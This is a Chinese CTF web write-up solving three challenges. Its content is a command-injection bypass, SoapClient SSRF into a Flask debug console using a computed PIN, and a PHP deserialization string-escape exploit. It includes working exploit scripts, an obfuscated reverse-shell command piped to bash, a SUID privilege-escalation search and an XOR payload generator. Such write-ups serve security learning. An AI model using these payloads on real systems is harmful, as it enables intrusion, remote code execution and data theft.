WEB
web签到
直接上payload
/?c=cat /flag%0a
虽然过滤掉了很多东西,但%0a
是换行,可以将过滤的指令换到下一行,就不会影响上一行执行
prprp…py?
打开题目显示没有session
可以利用SESSION_UPLOAD_PROGRESS创建一个session:
- 下方的proxies为BurpSuite的代理地址
import requests
url = "http://1.1.1.1:49343/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":"a"
}
file = {
"file": ("a","a")
}
cookies = {
"PHPSESSID": "a"
}
proxies = {
"http": "127.0.0.1:8080"
}
req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies)
print(req.text)
发包过去就能拿到源码了
获取到的源码如下,这里稍作分析:
$_POST['data']
可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF
第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件
第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
?>
这里的解题思路如下:
利用SplFIleObject原生类读取文件计算PIN
利用SoapClient原生类SSRF打Flask服务的Debug,最终RCE
这里简单讲一下SoapClient原生类SSRF:
SoapClient原生类SSRF本质上是:当我们实例化一个SoapClient对象,其中构造方法的两个参数可控,如果调用SoapClient不存在的方法,则会向指定URI发送一个POST请求(原本这个类的作用类似于请求远程API接口),由于构造方法的内容可控,导致我们可以在User-Agent的位置注入恶意参数,进而访问内网服务资源
这里的$data是POST的内容,$lendata为$data的长度,用作计算Content-Length
注意在HTTP请求中的换行均为
\r\n
,其中Header与POST体之间有两个\r\n
红色方框以外的会被丢弃
<?php
$data = "name=admin";
$lendata = strlen($data);
$ua = "datou\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();
首先我们需要计算PIN,计算PIN需要以下几个参数:
运行Flask程序的用户名(可以在/etc/passwd中找到)
flask的包路径(其值类似于/usr/local/lib/python3.8/site-packages/flask/app.py)
/sys/class/net/eth0/address
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
接着去读文件,生成读文件序列化数据脚本如下:
<?php
$data["type"] = "SplFileObject";
$data["properties"][0] = "php://filter/read=convert.base64-encode/resource=/proc/sys/kernel/random/boot_id";
$data["properties"][1] = "r";
echo serialize($data);
这里我读到的信息如下(后面三个值,每个人都不一样):
通过/etc/passwd发现有个app用户
/sys/class/net/eth0/address为02:42:ac:11:00:1b
/proc/sys/kernel/random/boot_id为19cc2109-9300-4ed8-bed1-ed632ed255a4
/proc/self/cgroup为0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240
比较麻烦的是获取flask的包路径,这里可以利用GlobIterator原生类读取(这个类的构造方法允许有两个参数)
匹配的脚本如下:
<?php
$data["type"] = "GlobIterator";
$data["properties"][0] = "glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";
$data["properties"][1] = 1;
echo serialize($data);
//a:2:{s:4:"type";s:12:"GlobIterator";s:10:"properties";a:2:{i:0;s:58:"glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";i:1;i:1;}}
最终的匹配结果为:/usr/local/lib/python3.9/dist-packages/flask/app.py
在比赛的时候,位于/usr/lib/python3.8/site-packages/flask/app.py,常见的路径就是这几个,可以利用glob的通配符多试试,有点费事,如果匹配到了就会返回文件名,匹配不到就不返回,有点类似布尔盲注
顺便把/app/app.py读取了,可以看到开启了Debug模式
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)
接着计算PIN:
import hashlib
from itertools import chain
import time
probably_public_bits = [
'app'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.9/dist-packages/flask/app.py' # 报错得到
]
private_bits = [
str(int('02:42:ac:11:00:1b'.replace(":", ""), 16)), # /sys/class/net/eth0/address
'19cc2109-9300-4ed8-bed1-ed632ed255a4' + # /proc/sys/kernel/random/boot_id
'0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240' # /proc/self/cgroup
]
h = hashlib.sha1() # 有些版本是md5,Python3大部分版本是sha1
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("pin为: " + rv)
cookie = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(f"cookie为: {cookie_name}={cookie}")
我这里的计算结果为140-931-835,每个人都不一样,如果担心计算错误,可以查看容器的日志:docker logs -f <container-id>
可以看到我这里计算结果是正确的
有了PIN之后,就是通过SoapClient类SSRF去RCE了
当然,我们还是需要知道进入Debug模式命令执行的具体请求参数,由于比赛时没有可视化页面,正常的话是直接访问/console接口输入PIN点点点就完事了,但是这里我们只能通过SSRF的方式
本地起个Flask:
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'
if __name__ == '__main__':
app.run(host="0.0.0.0",port=8088,debug=True)
抓包,访问/console,输入PIN,执行命令,看看整个流程是怎么样的
其实也很简单,先是一个GET请求,传参,然后返回Cookie(这个Cookie是通过计算得到的,上面已经给出了)
之后携带cookie去执行命令即可
这里有个小问题,就是验证PIN的s值的获取
这个值实际上是存储在/console页面源码中
题目刚好也提供了这一功能访问/console页面
<?php
$data["properties"] = "console";
echo serialize($data);
//a:1:{s:10:"properties";s:7:"console";}
同样传给data可以获取到SECRET,我这里是Y8jRuFsyHCoJ64lgXpk0
接下来就是构造SoapClient请求打SSRF了,需要构造的包大概长下方这样
构造SSRF请求的EXP如下:
复现的时候替换下方4-6行即可
我这里命令执行做了两次Base64编码是因为
+
在中途传参会出现编码问题,同时注意空格最好用${IFS}
代替,同样也是防止编码问题
<?php
$data = "name=admin";
$lendata = strlen($data);
$cookie = "__wzd1cebf2989b4eebb2a577=1687509747|5b1000f3f6c5";
$cmd = 'echo${IFS}TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09|base64${IFS}-d|base64${IFS}-d|bash';
$s = "Y8jRuFsyHCoJ64lgXpk0";
$ua = "datou\r\nCookie: $cookie\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$uri = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__("os").system("""$cmd""")&frm=0&s=$s';
$uri = str_replace('$s', "$s", $uri);
$uri = str_replace('$cmd', "$cmd", $uri);
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => $uri, 'user_agent' => $ua));
$serdata["properties"] = urlencode(serialize($client));
echo serialize($serdata);
//a:1:{s:10:"properties";s:746:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22datou%22%3Bs%3A8%3A%22location%22%3Bs%3A237%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.system%28%22%22%22echo%24%7BIFS%7DTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09%7Cbase64%24%7BIFS%7D-d%7Cbase64%24%7BIFS%7D-d%7Cbash%22%22%22%29%26frm%3D0%26s%3DY8jRuFsyHCoJ64lgXpk0%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A147%3A%22datou%0D%0ACookie%3A+__wzd1cebf2989b4eebb2a577%3D1687509747%7C5b1000f3f6c5%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+10%0D%0A%0D%0Aname%3Dadmin%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}
成功反弹shell
但由于flag需要root权限,所以还要提权。搜索有SUID权限的命令:
find / -perm -u=s -type f 2>/dev/null
发现curl可以使用:
反序化
下载www.zip,里面有源码
my.php里的pull_it是恶意类,能控制$this->x就能命令执行,这里是无字母数字命令执行
index.php里对传入的参数先做序列化存储在$_SESSION里,并用b函数替换字符
当访问login.php时,会先替换字符再做反序列化
a函数和b函数都是字符串替换,数量不一致很明显存在字符串逃逸。这里b函数其实没用,我们用a函数就行了,用a函数就是字符串减少逃逸
构造异或的payload,并做base64编码:
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");
KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7
生成序列化字符串
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$l = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7")));
echo urlencode(serialize($l));
//O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D
然后逃逸字符,逃逸14个字符,可以在pwd参数位置在本地微调
POST /index.php HTTP/1.1
Host: web-898394c697.challenge.xctf.org.cn
Content-Length: 313
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=52q1rf64lljie7ivi6tbte4hnb
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"datou";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D
再访问login.php拿flag,记得带上SESSION
附:异或工具
使用方法:先执行xor.php生成合法字符,再执行xor.py生成异或命令
xor.php:
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
xor.py:
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)